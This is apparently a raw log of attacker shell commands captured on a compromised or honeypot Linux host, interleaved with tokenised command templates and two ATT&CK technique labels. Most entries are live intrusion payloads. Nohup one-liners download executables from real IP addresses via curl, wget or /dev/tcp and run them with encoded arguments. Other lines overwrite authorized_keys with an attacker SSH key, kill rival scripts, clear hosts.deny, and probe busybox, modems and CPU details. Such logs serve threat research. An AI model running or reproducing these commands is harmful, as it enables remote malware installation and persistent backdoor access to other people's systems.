IY/bqQ/F69er7/PXqe/tX6/JyC9vw4dcLbfPoXOZx7/X68+3rc/lf/fZ0F9jm/tgLbfPqW/J06+r6//vqduZc5ex7AMHi4tUPc/PsVOh69en48fXqdvtD7PJwA9ng4dsOY/rzX/l69en6+fXqd/pX6/JyCNnw6MELcfDzXP919e3w8+3rc/lfKbpn+p3F4SAIoCTXHv97SuiMGF+5XlX52MA=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/aaowy5CExz && /tmp/aaowy5CExz nc8NdOzvXvBs6u3/5+/ieP5d7PF0Gd7i6cEId/bzXPBy9en/8+3rc/ha/fptC97n/tkMbfPoVPJ06+r9//vjbPpc5exxCMHi4dYDdfLsXfBi7+zn++jjbPlb6+x3ANXm4N4KdOLpWuZw6O3n+OrrbPpd7Ph1Cd7h4M8Ic/PzVf1s6e/55+rqeP5d7PF1Gd7i4MEOcuzsVfhs6Ozz/+vqcvtN6fVtDtn+4twObfPsWfJ06+r9/Pvqcv5D6PZtCtb+4t4PefTtXPtw++n7+/XjduZf6PFtCNjo6tkJcvDsTflw7vX4++/1evlD7/d3A9ng4d4IY/bqQ/909ez+5+rjdfJb7fNwDs/o/t0IdOzsW/hs6ur48+3rc/tY/fNyC8Hp4cEIcvPzXPB74e35+O/uYvxa8/V1F97o6cEOdvjrXfly4/v/+PXqdPhD7/NwF93j6dUPc/PtXOh06vX4/ur1dPlD7/NwA9ng4d4KY/PtXOZ26fX6+/Xqd/Jb7fNzAc/o/t0LcezsWvhs6OPz/+vqc/pN7PN7F97g58ENcOzsWvl47ev4++v7c/lV8/FyF9v+5t4DdfLsXfFi4/X7+OL1c/FU8/dwA9ng4dwIY/bqQ/F69er7/PXqe/tX6/JyC9vw4dcLbfPoXOZx7/X68+3rc/lf/fZ0F9jm/tgLbfPqW/J06+r6//vqduZc5ex7AMHi4tUPc/PsVOh69en48fXqdvtD7PJwA9ng4dsOY/rzX/l69en6+fXqd/pX6/JyCNnw6MELcfDzXP919e3w8+3rc/lfKbpn+p3F4SAIoCTXHv97SuiMGF+5XlX52MA=" &#UPX!

nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/ACK3dJmgO6; if [ ! -f /tmp/ACK3dJmgO6 ]; then wget http://129.144.180.26:60107/linux -O /tmp/ACK3dJmgO6; fi; if [ ! -f /tmp/ACK3dJmgO6 ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/ACK3dJmgO6 && chmod +x /tmp/ACK3dJmgO6 && /tmp/ACK3dJmgO6 nc8NdOzvXvBs6u3/5+/ieP5d7PF0Gd7i6cEId/bzXPBy9en/8+3rc/ha/fptC97n/tkMbfPoVPJ06+r9//vjbPpc5exxCMHi4dYDdfLsXfBi7+zn++jjbPlb6+x3ANXm4N4KdOLpWuZw6O3n+OrrbPpd7Ph1Cd7h4M8Ic/PzVf1s6e/55+rqeP5d7PF1Gd7i4MEOcuzsVfhs6Ozz/+vqcvtN6fVtDtn+4twObfPsWfJ06+r9/Pvqcv5D6PZtCtb+4t4PefTtXPtw++n7+/XjduZf6PFtCNjo6tkJcvDsTflw7vX4++/1evlD7/d3A9ng4d4IY/bqQ/909ez+5+rjdfJb7fNwDs/o/t0IdOzsW/hs6ur48+3rc/tY/fNyC8Hp4cEIcvPzXPB74e35+O/uYvxa8/V1F97o6cEOdvjrXfly4/v/+PXqdPhD7/NwF93j6dUPc/PtXOh06vX4/ur1dPlD7/NwA9ng4d4KY/PtXOZ26fX6+/Xqd/Jb7fNzAc/o/t0LcezsWvhs6OPz/+vqc/pN7PN7F97g58ENcOzsWvl47ev4++v7c/lV8/FyF9v+5t4DdfLsXfFi4/X7+OL1c/FU8/dwA9ng4dwIY/bqQ/F69er7/PXqe/tX6/JyC9vw4dcLbfPoXOZx7/X68+3rc/lf/fZ0F9jm/tgLbfPqW/J06+r6//vqduZc5ex7AMHi4tUPc/PsVOh69en48fXqdvtD7PJwA9ng4dsOY/rzX/l69en6+fXqd/pX6/JyCNnw6MELcfDzXP919e3w8+3rc/lfKbpn+p3F4SAIoCTXHv97SuiMGF+5XlX52MA=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/ACK3dJmgO6 && /tmp/ACK3dJmgO6 nc8NdOzvXvBs6u3/5+/ieP5d7PF0Gd7i6cEId/bzXPBy9en/8+3rc/ha/fptC97n/tkMbfPoVPJ06+r9//vjbPpc5exxCMHi4dYDdfLsXfBi7+zn++jjbPlb6+x3ANXm4N4KdOLpWuZw6O3n+OrrbPpd7Ph1Cd7h4M8Ic/PzVf1s6e/55+rqeP5d7PF1Gd7i4MEOcuzsVfhs6Ozz/+vqcvtN6fVtDtn+4twObfPsWfJ06+r9/Pvqcv5D6PZtCtb+4t4PefTtXPtw++n7+/XjduZf6PFtCNjo6tkJcvDsTflw7vX4++/1evlD7/d3A9ng4d4IY/bqQ/909ez+5+rjdfJb7fNwDs/o/t0IdOzsW/hs6ur48+3rc/tY/fNyC8Hp4cEIcvPzXPB74e35+O/uYvxa8/V1F97o6cEOdvjrXfly4/v/+PXqdPhD7/NwF93j6dUPc/PtXOh06vX4/ur1dPlD7/NwA9ng4d4KY/PtXOZ26fX6+/Xqd/Jb7fNzAc/o/t0LcezsWvhs6OPz/+vqc/pN7PN7F97g58ENcOzsWvl47ev4++v7c/lV8/FyF9v+5t4DdfLsXfFi4/X7+OL1c/FU8/dwA9ng4dwIY/bqQ/F69er7/PXqe/tX6/JyC9vw4dcLbfPoXOZx7/X68+3rc/lf/fZ0F9jm/tgLbfPqW/J06+r6//vqduZc5ex7AMHi4tUPc/PsVOh69en48fXqdvtD7PJwA9ng4dsOY/rzX/l69en6+fXqd/pX6/JyCNnw6MELcfDzXP919e3w8+3rc/lfKbpn+p3F4SAIoCTXHv97SuiMGF+5XlX52MA=" &#UPX!


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RWTRZ

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BCAUI


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


nohup bash -c "exec 6<>/dev/tcp/139.59.32.59/60146 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/w7JH7CEVd3 && chmod +x /tmp/w7JH7CEVd3 && /tmp/w7JH7CEVd3 spqwTYPo/4VRp5y6uZ+5UoLn8e1RvZmzuZ+4W4br4IZTs82zuZOxV4Pr44ZTuPS5tZm4V4AAj7a5MRLDh9o/JoMM" &@f@fQtdBUPX!

('nohup bash -c > && echo -n > && cat > && chmod +x && &', 'dd >', 'nohup bash -c > && echo -n > && cat > && chmod +x &&', '>')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JUSWF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NHDJA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JBPXA


T1083 File and Directory Discovery
T1087 Account Discovery


nohup $SHELL -c "curl http://182.92.242.22:60114/linux -o /tmp/eemDav0KBO; if [ ! -f /tmp/eemDav0KBO ]; then wget http://182.92.242.22:60114/linux -O /tmp/eemDav0KBO; fi; if [ ! -f /tmp/eemDav0KBO ]; then exec 6<>/dev/tcp/182.92.242.22/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/eemDav0KBO && chmod +x /tmp/eemDav0KBO && /tmp/eemDav0KBO f6z5A8k5GSF/Z6NycTJme6VmYCgfK9ME4L0LCKL/D8kyHCNnZqJ1aiBrdr1kYi8HOtcG4L0JDLb4B9Y6EDllZb1wajVxcKRufyoRMdEH/70NHr36Bck6Hih/YqBvaDZld6NnYC8JOtUE4LkJEL36Ask4HCNnZqJxbyBrdr1kYi8HPMkF/LoECLz/A9crHi1/ZKN5cTFvcr1kaCMfO9YG+KwKCaL5Ack/GDdgZ6Z7aTBucaR2YysYJdUE+KIIDaL/BNcxHylgZ6JhbjFnb6JuZTcbP98Z/7oNBLr+BtYyCShpZL14bS5tdaF4YysTPdcG/7geD7/6GdU7EDdjZqJvbTNre6VmYCscK9YG/KILD6L3Gd88Ey9hZ6d4fzJvcb1gYDcbPtYZ974ECLz/B9QrGClgeKB1cTJsd71nZCsTPdcG+rseD7v+GdY7HzdgYadvbjdue6VmYCkaK98Z/L4MEL37Dsk6HiBrYKNwbjJ/daR4YCkeJdYG/6IMCrn0Adc6GytxY6tvbTBmb6FlZTcQPd0B/r0KCKz/BNYlHit/Yapvazhld6NnZSgJOtYG4LgKEL34Bck6Gi1rYKNwbTF/cKFlfyweJdYD/qIPCLr0Adc6GSpxY6pvbjFvb6JlZjcbPt0B/r0KC6z9GdY/GjdmZ715aDppcaJnYDkdPMkA+KIKD6L/BtIxHylgZqRhbjdvb6JmZzcYPNMZ/7sPBLr+Btc4CShiYr1zbzlxc6NnfysaP90B/r0MC6z/BdQlHC9/Z6V3cTJqcqlgYSgdPscG/L8QC7vgBtM+BypkbKVxbjBvJAEnWvHEBvNjf4O0i+jU9RApMuovzxZt6Y0auKM=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/eemDav0KBO && /tmp/eemDav0KBO f6z5A8k5GSF/Z6NycTJme6VmYCgfK9ME4L0LCKL/D8kyHCNnZqJ1aiBrdr1kYi8HOtcG4L0JDLb4B9Y6EDllZb1wajVxcKRufyoRMdEH/70NHr36Bck6Hih/YqBvaDZld6NnYC8JOtUE4LkJEL36Ask4HCNnZqJxbyBrdr1kYi8HPMkF/LoECLz/A9crHi1/ZKN5cTFvcr1kaCMfO9YG+KwKCaL5Ack/GDdgZ6Z7aTBucaR2YysYJdUE+KIIDaL/BNcxHylgZ6JhbjFnb6JuZTcbP98Z/7oNBLr+BtYyCShpZL14bS5tdaF4YysTPdcG/7geD7/6GdU7EDdjZqJvbTNre6VmYCscK9YG/KILD6L3Gd88Ey9hZ6d4fzJvcb1gYDcbPtYZ974ECLz/B9QrGClgeKB1cTJsd71nZCsTPdcG+rseD7v+GdY7HzdgYadvbjdue6VmYCkaK98Z/L4MEL37Dsk6HiBrYKNwbjJ/daR4YCkeJdYG/6IMCrn0Adc6GytxY6tvbTBmb6FlZTcQPd0B/r0KCKz/BNYlHit/Yapvazhld6NnZSgJOtYG4LgKEL34Bck6Gi1rYKNwbTF/cKFlfyweJdYD/qIPCLr0Adc6GSpxY6pvbjFvb6JlZjcbPt0B/r0KC6z9GdY/GjdmZ715aDppcaJnYDkdPMkA+KIKD6L/BtIxHylgZqRhbjdvb6JmZzcYPNMZ/7sPBLr+Btc4CShiYr1zbzlxc6NnfysaP90B/r0MC6z/BdQlHC9/Z6V3cTJqcqlgYSgdPscG/L8QC7vgBtM+BypkbKVxbjBvJAEnWvHEBvNjf4O0i+jU9RApMuovzxZt6Y0auKM=" &#UPX!

nohup $SHELL -c "curl http://182.92.242.22:60114/linux -o /tmp/1e7gblcyj0; if [ ! -f /tmp/1e7gblcyj0 ]; then wget http://182.92.242.22:60114/linux -O /tmp/1e7gblcyj0; fi; if [ ! -f /tmp/1e7gblcyj0 ]; then exec 6<>/dev/tcp/182.92.242.22/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/1e7gblcyj0 && chmod +x /tmp/1e7gblcyj0 && /tmp/1e7gblcyj0 f6z5A8k5GSF/Z6NycTJme6VmYCgfK9ME4L0LCKL/D8kyHCNnZqJ1aiBrdr1kYi8HOtcG4L0JDLb4B9Y6EDllZb1wajVxcKRufyoRMdEH/70NHr36Bck6Hih/YqBvaDZld6NnYC8JOtUE4LkJEL36Ask4HCNnZqJxbyBrdr1kYi8HPMkF/LoECLz/A9crHi1/ZKN5cTFvcr1kaCMfO9YG+KwKCaL5Ack/GDdgZ6Z7aTBucaR2YysYJdUE+KIIDaL/BNcxHylgZ6JhbjFnb6JuZTcbP98Z/7oNBLr+BtYyCShpZL14bS5tdaF4YysTPdcG/7geD7/6GdU7EDdjZqJvbTNre6VmYCscK9YG/KILD6L3Gd88Ey9hZ6d4fzJvcb1gYDcbPtYZ974ECLz/B9QrGClgeKB1cTJsd71nZCsTPdcG+rseD7v+GdY7HzdgYadvbjdue6VmYCkaK98Z/L4MEL37Dsk6HiBrYKNwbjJ/daR4YCkeJdYG/6IMCrn0Adc6GytxY6tvbTBmb6FlZTcQPd0B/r0KCKz/BNYlHit/Yapvazhld6NnZSgJOtYG4LgKEL34Bck6Gi1rYKNwbTF/cKFlfyweJdYD/qIPCLr0Adc6GSpxY6pvbjFvb6JlZjcbPt0B/r0KC6z9GdY/GjdmZ715aDppcaJnYDkdPMkA+KIKD6L/BtIxHylgZqRhbjdvb6JmZzcYPNMZ/7sPBLr+Btc4CShiYr1zbzlxc6NnfysaP90B/r0MC6z/BdQlHC9/Z6V3cTJqcqlgYSgdPscG/L8QC7vgBtM+BypkbKVxbjBvJAEnWvHEBvNjf4O0i+jU9RApMuovzxZt6Y0auKM=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/1e7gblcyj0 && /tmp/1e7gblcyj0 f6z5A8k5GSF/Z6NycTJme6VmYCgfK9ME4L0LCKL/D8kyHCNnZqJ1aiBrdr1kYi8HOtcG4L0JDLb4B9Y6EDllZb1wajVxcKRufyoRMdEH/70NHr36Bck6Hih/YqBvaDZld6NnYC8JOtUE4LkJEL36Ask4HCNnZqJxbyBrdr1kYi8HPMkF/LoECLz/A9crHi1/ZKN5cTFvcr1kaCMfO9YG+KwKCaL5Ack/GDdgZ6Z7aTBucaR2YysYJdUE+KIIDaL/BNcxHylgZ6JhbjFnb6JuZTcbP98Z/7oNBLr+BtYyCShpZL14bS5tdaF4YysTPdcG/7geD7/6GdU7EDdjZqJvbTNre6VmYCscK9YG/KILD6L3Gd88Ey9hZ6d4fzJvcb1gYDcbPtYZ974ECLz/B9QrGClgeKB1cTJsd71nZCsTPdcG+rseD7v+GdY7HzdgYadvbjdue6VmYCkaK98Z/L4MEL37Dsk6HiBrYKNwbjJ/daR4YCkeJdYG/6IMCrn0Adc6GytxY6tvbTBmb6FlZTcQPd0B/r0KCKz/BNYlHit/Yapvazhld6NnZSgJOtYG4LgKEL34Bck6Gi1rYKNwbTF/cKFlfyweJdYD/qIPCLr0Adc6GSpxY6pvbjFvb6JlZjcbPt0B/r0KC6z9GdY/GjdmZ715aDppcaJnYDkdPMkA+KIKD6L/BtIxHylgZqRhbjdvb6JmZzcYPNMZ/7sPBLr+Btc4CShiYr1zbzlxc6NnfysaP90B/r0MC6z/BdQlHC9/Z6V3cTJqcqlgYSgdPscG/L8QC7vgBtM+BypkbKVxbjBvJAEnWvHEBvNjf4O0i+jU9RApMuovzxZt6Y0auKM=" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XENBR

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l')


nohup $SHELL -c "curl http://203.56.228.230:60114/linux -o /tmp/Xn4OWczlVx; if [ ! -f /tmp/Xn4OWczlVx ]; then wget http://203.56.228.230:60114/linux -O /tmp/Xn4OWczlVx; fi; if [ ! -f /tmp/Xn4OWczlVx ]; then exec 6<>/dev/tcp/203.56.228.230/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/Xn4OWczlVx && chmod +x /tmp/Xn4OWczlVx && /tmp/Xn4OWczlVx /kVwJ1TL1Fkhb1SLg0tzI1fT1VwldkWHhEtzJlXL1Fsjb1GKiVNxJF7SxVU7c1SDnVx1O1/U0FcjcVSHhkV5O1/U3UMkdladi117I13U1Fg1dVKdgVZ3O1zU1UMncVSJhVVwJF3F3UMnc1edglN3O17S31slcFaFk1R1O1zdy1onb1ODiVNxJFzcxVkib1KFnVR5LEPS0FcjcVSDi0VwIFrL1F07dVadhlB7I13U1lg1dVKdgVZ3O1/V1kMjc1+Fg1R1LU3X1V47dFOdgVd5O1/W1VcjcVSCh0VwLV3L1F0nb1eFnVdzL1vV1F4jYVGEnVdyIkPd1kMkdlOJhVVwJlzF3UMncFKdglx0O1jf010kc12ThVRvJF7dy1wtdEuBgFF7I13U0VU1cFeKnVR1IUPU3V07c1OJhVVwJVrF1Fgsb1eDgEtwJl3L3Vkvd1WCgVdhJFXXy1wgcEuHh0tzIFjf010kdVWTgVVyO1/Qy18kcUuChFV7I13U1lo1d1SdglZ5O1zd0EMnclGJhVVwIVXF0Vo7dlOdgl14O1rQ31slcFWLk1R0IkPU1UMhckuGi193JVzU0k0hdkuBgF1vJlTL11kje1ODglFwNVnSy18meUuChVNvIVTf010kclKTi0tzJFXL1Fomb12LiVNxJFzQxVkib1eAhEt5JkPU0lsvd1WCgFRhIVrL0ls7dledglJ3L1vV1F4jYVGEnVdyI0PX1V47d1eJhVVwIVXF0Vo7c1GGnVRzIkPT11cjcVSDgkV5O1/U3UMncEuBglx7I13U1VXXFBxOJWqPSFtdcWT98Q==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/Xn4OWczlVx && /tmp/Xn4OWczlVx /kVwJ1TL1Fkhb1SLg0tzI1fT1VwldkWHhEtzJlXL1Fsjb1GKiVNxJF7SxVU7c1SDnVx1O1/U0FcjcVSHhkV5O1/U3UMkdladi117I13U1Fg1dVKdgVZ3O1zU1UMncVSJhVVwJF3F3UMnc1edglN3O17S31slcFaFk1R1O1zdy1onb1ODiVNxJFzcxVkib1KFnVR5LEPS0FcjcVSDi0VwIFrL1F07dVadhlB7I13U1lg1dVKdgVZ3O1/V1kMjc1+Fg1R1LU3X1V47dFOdgVd5O1/W1VcjcVSCh0VwLV3L1F0nb1eFnVdzL1vV1F4jYVGEnVdyIkPd1kMkdlOJhVVwJlzF3UMncFKdglx0O1jf010kc12ThVRvJF7dy1wtdEuBgFF7I13U0VU1cFeKnVR1IUPU3V07c1OJhVVwJVrF1Fgsb1eDgEtwJl3L3Vkvd1WCgVdhJFXXy1wgcEuHh0tzIFjf010kdVWTgVVyO1/Qy18kcUuChFV7I13U1lo1d1SdglZ5O1zd0EMnclGJhVVwIVXF0Vo7dlOdgl14O1rQ31slcFWLk1R0IkPU1UMhckuGi193JVzU0k0hdkuBgF1vJlTL11kje1ODglFwNVnSy18meUuChVNvIVTf010kclKTi0tzJFXL1Fomb12LiVNxJFzQxVkib1eAhEt5JkPU0lsvd1WCgFRhIVrL0ls7dledglJ3L1vV1F4jYVGEnVdyI0PX1V47d1eJhVVwIVXF0Vo7c1GGnVRzIkPT11cjcVSDgkV5O1/U3UMncEuBglx7I13U1VXXFBxOJWqPSFtdcWT98Q==" &#UPX!

nohup $SHELL -c "curl http://203.56.228.230:60114/linux -o /tmp/5MES2g4udO; if [ ! -f /tmp/5MES2g4udO ]; then wget http://203.56.228.230:60114/linux -O /tmp/5MES2g4udO; fi; if [ ! -f /tmp/5MES2g4udO ]; then exec 6<>/dev/tcp/203.56.228.230/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/5MES2g4udO && chmod +x /tmp/5MES2g4udO && /tmp/5MES2g4udO /kVwJ1TL1Fkhb1SLg0tzI1fT1VwldkWHhEtzJlXL1Fsjb1GKiVNxJF7SxVU7c1SDnVx1O1/U0FcjcVSHhkV5O1/U3UMkdladi117I13U1Fg1dVKdgVZ3O1zU1UMncVSJhVVwJF3F3UMnc1edglN3O17S31slcFaFk1R1O1zdy1onb1ODiVNxJFzcxVkib1KFnVR5LEPS0FcjcVSDi0VwIFrL1F07dVadhlB7I13U1lg1dVKdgVZ3O1/V1kMjc1+Fg1R1LU3X1V47dFOdgVd5O1/W1VcjcVSCh0VwLV3L1F0nb1eFnVdzL1vV1F4jYVGEnVdyIkPd1kMkdlOJhVVwJlzF3UMncFKdglx0O1jf010kc12ThVRvJF7dy1wtdEuBgFF7I13U0VU1cFeKnVR1IUPU3V07c1OJhVVwJVrF1Fgsb1eDgEtwJl3L3Vkvd1WCgVdhJFXXy1wgcEuHh0tzIFjf010kdVWTgVVyO1/Qy18kcUuChFV7I13U1lo1d1SdglZ5O1zd0EMnclGJhVVwIVXF0Vo7dlOdgl14O1rQ31slcFWLk1R0IkPU1UMhckuGi193JVzU0k0hdkuBgF1vJlTL11kje1ODglFwNVnSy18meUuChVNvIVTf010kclKTi0tzJFXL1Fomb12LiVNxJFzQxVkib1eAhEt5JkPU0lsvd1WCgFRhIVrL0ls7dledglJ3L1vV1F4jYVGEnVdyI0PX1V47d1eJhVVwIVXF0Vo7c1GGnVRzIkPT11cjcVSDgkV5O1/U3UMncEuBglx7I13U1VXXFBxOJWqPSFtdcWT98Q==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/5MES2g4udO && /tmp/5MES2g4udO /kVwJ1TL1Fkhb1SLg0tzI1fT1VwldkWHhEtzJlXL1Fsjb1GKiVNxJF7SxVU7c1SDnVx1O1/U0FcjcVSHhkV5O1/U3UMkdladi117I13U1Fg1dVKdgVZ3O1zU1UMncVSJhVVwJF3F3UMnc1edglN3O17S31slcFaFk1R1O1zdy1onb1ODiVNxJFzcxVkib1KFnVR5LEPS0FcjcVSDi0VwIFrL1F07dVadhlB7I13U1lg1dVKdgVZ3O1/V1kMjc1+Fg1R1LU3X1V47dFOdgVd5O1/W1VcjcVSCh0VwLV3L1F0nb1eFnVdzL1vV1F4jYVGEnVdyIkPd1kMkdlOJhVVwJlzF3UMncFKdglx0O1jf010kc12ThVRvJF7dy1wtdEuBgFF7I13U0VU1cFeKnVR1IUPU3V07c1OJhVVwJVrF1Fgsb1eDgEtwJl3L3Vkvd1WCgVdhJFXXy1wgcEuHh0tzIFjf010kdVWTgVVyO1/Qy18kcUuChFV7I13U1lo1d1SdglZ5O1zd0EMnclGJhVVwIVXF0Vo7dlOdgl14O1rQ31slcFWLk1R0IkPU1UMhckuGi193JVzU0k0hdkuBgF1vJlTL11kje1ODglFwNVnSy18meUuChVNvIVTf010kclKTi0tzJFXL1Fomb12LiVNxJFzQxVkib1eAhEt5JkPU0lsvd1WCgFRhIVrL0ls7dledglJ3L1vV1F4jYVGEnVdyI0PX1V47d1eJhVVwIVXF0Vo7c1GGnVRzIkPT11cjcVSDgkV5O1/U3UMncEuBglx7I13U1VXXFBxOJWqPSFtdcWT98Q==" &#UPX!


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SPGAH


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash')


nohup bash -c "exec 6<>/dev/tcp/37.27.13.173/60136 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/nY8Q1IRk5m && chmod +x /tmp/nY8Q1IRk5m && /tmp/nY8Q1IRk5m D9GTl5Sed2uXlYqO2Q4E15CIl5NlfYiXiJnPDw3QjoCSnHN1l5GBgNkQDNCZl5eVcmuTk4OW0Q8M1YCNkoh3dpCLiJbYEAzQmIOTlnR0lIWKl88MCc+RiouXcnack4mR0gge2Y6LlJ9rd5aWl5HZBwTXkIiXnmV9iJeImc8MDtCOipecc3WXlIyA2RAM0JmXlJR1a5eQg5bRDwrQgIGLlHd3iJeKkc8KBtuWiZSSdmWSkpeS0ggQ2ZWXlJB/c5aUipfBDw7SjoiVl2t0k5aXktYECNGRiZWGfWuUlICO0w8Gz5SDk5Z0dZXhaynuOvCGw1afV4mK3w4=" &0O0O6(6(Qtd?UPX!

('nohup bash -c > && echo -n > && cat > && chmod +x && &', 'dd >', 'nohup bash -c > && echo -n > && cat > && chmod +x && (', '>', 'nan')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JJLNC


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


